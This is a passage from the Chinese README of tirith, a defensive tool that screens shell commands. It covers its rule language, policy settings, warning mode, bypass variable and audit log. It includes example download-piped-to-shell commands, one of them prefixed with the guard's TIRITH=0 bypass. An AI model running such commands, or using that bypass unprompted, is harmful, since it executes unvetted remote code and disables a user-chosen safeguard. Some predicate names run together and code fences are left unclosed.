when: DSL 在诸如 command.has_pipeline_tocommand.uses_sudourl.hosturl.host_matchesurl.reputationurl.domain_not_inpackage.ecosystempackage.name_matchespackage.reputationfile.path_matches 等谓词之上组合了 all: / any: / not:。信誉谓词读取本地签名的威胁数据库,因此自定义规则在热路径上仍然不会发起网络调用。在提交之前进行验证和试运行:```bash tirith rule validate # check every custom rule: shape + context coverage tirith rule test --rule no_internal_pastebin --input "echo hi | bash" tirith rule explain --rule no_internal_pastebin

### 更多策略控制

其他策略键,均带有安全默认值(`tirith policy init` 会写入完整注释的集合):

- `package_policy:` 阈值将供应链信号转化为阻止或警告判定(`block_typosquat_distance`、`warn_low_downloads_below`、`block_newer_than_days`、`block_not_found`)。
- `agent_rules:` `allow:` / `deny:` 匹配命令的调用方来源(`{ kind, name }`);`deny` 匹配会强制阻止。`scan.trusted_mcp_servers` 和 `scan.mcp_allowed_tools` 接受特定的 MCP 服务器以及每服务器工具。
- 可选启用的防护,默认关闭:`env_guard_enabled`、`exec_guard_enabled`、`hooks_guard_enabled`、`baseline_enabled`,以及 `iac_require_plan_before_apply`、`sudo_require_reason` 和 `allowed_install_domains`。

仓库范围的 `.tirith/policy.yaml` 文件只能收紧,绝不能放宽:试图扩大允许列表、降低严重级别或禁用防护的仓库策略会被中和,`tirith policy effective` 会显示哪些字段被丢弃。只有用户级和组织级(`TIRITH_POLICY_ROOT`)策略才能放宽默认值。

### 严格警告模式

启用 `strict_warn: true`(或 CLI 上的 `--strict-warn`)后,中等风险发现会在交互式终端中提示明确确认,而不是静默警告:```
$ curl -sSL https://get.docker.com | sh

tirith: WARNING
  [MEDIUM] pipe_to_interpreter, Download piped to interpreter
tirith: proceed with 1 warning(s)? [y/N]

Shell 钩子使用退出码 3 作为 warn-ack 协议。不了解退出码 3 的旧钩子会落入 fail-open 行为。

[!NOTE] 退出码 3 是 warn-ack 钩子协议路径,而非正常的直接 CLI 契约。非钩子调用方通常不应看到退出码 3;如果看到,则表明需要确认。

绕过

对于你确切知道自己在做什么的罕见情况:```bash TIRITH=0 curl -L https://something.xyz | bash

这是标准的 shell 逐命令前缀;该变量仅对该单条命令存在,不会在你的会话中持久保留。组织可以通过策略中的 `allow_bypass_env: false` 将其完全禁用。

> [!CAUTION]
> `TIRITH=0` 是逐命令生效的。不要将其导出到 shell 配置文件、dotfiles 或 CI 配置中;永久绕过会破坏整个保护模型。如果你发现自己经常需要使用它,请改为将可信来源添加到策略文件的 `allowlist` 中。

---

## 数据处理

本地 JSONL 审计日志位于 `~/.local/share/tirith/log.jsonl`:
- 时间戳、会话 ID、操作、规则 ID、脱敏后的命令预览
- 原始检测数据(`raw_action`、`raw_rule_ids`)与强制执行的操作一并保留,用于覆盖审计
- 会话警告状态位于 `~/.local/state/tirith/sessions/`
- **不**包含完整命令、环境变量或文件内容

禁用:`export TIRITH_LOG=0`

---

## 文档

- [命令参考](https://github.com/sheeki03/tirith/blob/main/docs/commands.md):每个子命令,按类别分组
- [能力矩阵](https://github.com/sheeki03/tirith/blob/main/docs/capability-matrix.md):逐命令覆盖范围(tirith 检查什么,以及策略是否完全管控它)
- [执行覆盖](https://github.com/sheeki03/tirith/blob/main/docs/enforcement-coverage.md):逐能力台账,区分检测、预检决策、执行强制、遏制和证明
- [威胁模型](https://github.com/sheeki03/tirith/blob/main/docs/threat-model.md):tirith 防御什么,以及不防御什么
- [Cookbook](https://github.com/sheeki03/tirith/blob/main/docs/cookbook.md):常见配置的策略示例
- [故障排除](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md):shell 怪癖、延迟、误报
- [兼容性](https://github.com/sheeki03/tirith/blob/main/docs/compatibility.md):稳定与实验性接口
- [0.4.2 发行说明](https://github.com/sheeki03/tirith/blob/main/docs/release-notes-0.4.2.md):当前补丁版本变更内容,以及 [0.4.0 发行说明](https://github.com/sheeki03/tirith/blob/main/docs/release-notes-0.4.0.md),介绍 0.4 系列的重点、限制和发布契约
- [发布检查清单](https://github.com/sheeki03/tirith/blob/main/docs/release-checklist.md):受保护的发布序列和注册表验证
- [安全策略](https://github.com/sheeki03/tirith/blob/main/SECURITY.md):漏洞报告
- [卸载](https://github.com/sheeki03/tirith/blob/main/docs/uninstall.md):按 shell 和包管理器进行干净移除

功能指南:

- [Web3 命令防护](https://github.com/sheeki03/tirith/blob/main/docs/security/web3-command-guard.md)(`web3_guard` 策略、三条 Web3 规则,以及 command-card v2 绑定)
- [任务信封](https://github.com/sheeki03/tirith/blob/main/docs/task-envelope.md)(不可信任务来源、`task_gate` 策略,以及预览 MCP 工具)
- [不可信项目](https://github.com/sheeki03/tirith/blob/main/docs/untrusted-projects.md)(“有人给我发了一个仓库”工作流)
- [CI 制品流](https://github.com/sheeki03/tirith/blob/main/docs/ci-artifact-flow.md)(跨工作流构建制品投毒)
- [浏览器扩展审计](https://github.com/sheeki03/tirith/blob/main/docs/browser-extension-audit.md)(只读 Chromium 系完整性审计)
- [npm 来源回执](https://github.com/sheeki03/tirith/blob/main/docs/npm-provenance-receipt.md)(`pkg attest-npm`,以及它确切不绑定什么)
- [证明回执](https://github.com/sheeki03/tirith/blob/main/docs/attestation-receipts.md)(时间点构建和部署回执)
- [推出与回滚](https://github.com/sheeki03/tirith/blob/main/docs/web3-task-rollout.md)(分阶段启用、触发条件,以及回退手册)
- [代理治理](https://github.com/sheeki03/tirith/blob/main/docs/agent-governance-design.md)(调用方来源归因和 `agent_rules`)
- [MCP 输出过滤器](https://github.com/sheeki03/tirith/blob/main/docs/mcp-output-filter.md)(网关和 MCP 输出净化契约)
- [Doctor 模式](https://github.com/sheeki03/tirith/blob/main/docs/doctor-modes.md)(完整模式与 `--quick`,以及 JSON 快照 schema)
- [LSP 和编辑器配置](https://github.com/sheeki03/tirith/blob/main/docs/lsp-profiles.md)(内联编辑器诊断)
- [浏览器原生消息传递](https://github.com/sheeki03/tirith/blob/main/docs/browser-native-messaging.md)(剪贴板来源主机和扩展)
- [粘贴来源](https://github.com/sheeki03/tirith/blob/main/docs/paste-provenance.md)(`paste_source_mismatch` 规则)
- [Canary 格式](https://github.com/sheeki03/tirith/blob/main/docs/canary-formats.md)(合成蜜标格式)
- [提示符集成](https://github.com/sheeki03/tirith/blob/main/docs/prompt-integration.md)(将 `tirith prompt-status` 接入你的 shell 提示符)

## 许可证

**核心安全覆盖随开源代码树一同发布。** 全部 244 条检测规则和 MCP 服务器均可从源码获取。仓库中仍包含旧版许可和策略服务器代码路径,因此不要假设每个运行时路径都已无层级限制。

tirith 采用双许可:

- **AGPL-3.0-only**:[LICENSE-AGPL](https://github.com/sheeki03/tirith/blob/main/LICENSE-AGPL),在 copyleft 条款下免费
- **商业许可**:[LICENSE-COMMERCIAL](https://github.com/sheeki03/tirith/blob/main/LICENSE-COMMERCIAL),如果 AGPL copyleft 义务不适合你的用例,请联系 [email protected] 获取替代许可

第三方数据归属见 [NOTICE](https://github.com/sheeki03/tirith/blob/main/NOTICE)。

## Star 历史

[![Star History Chart](https://star-history.dera.page/svg?repos=sheeki03/tirith&type=Date)](https://star-history.dera.page/#sheeki03/tirith&Date)

分类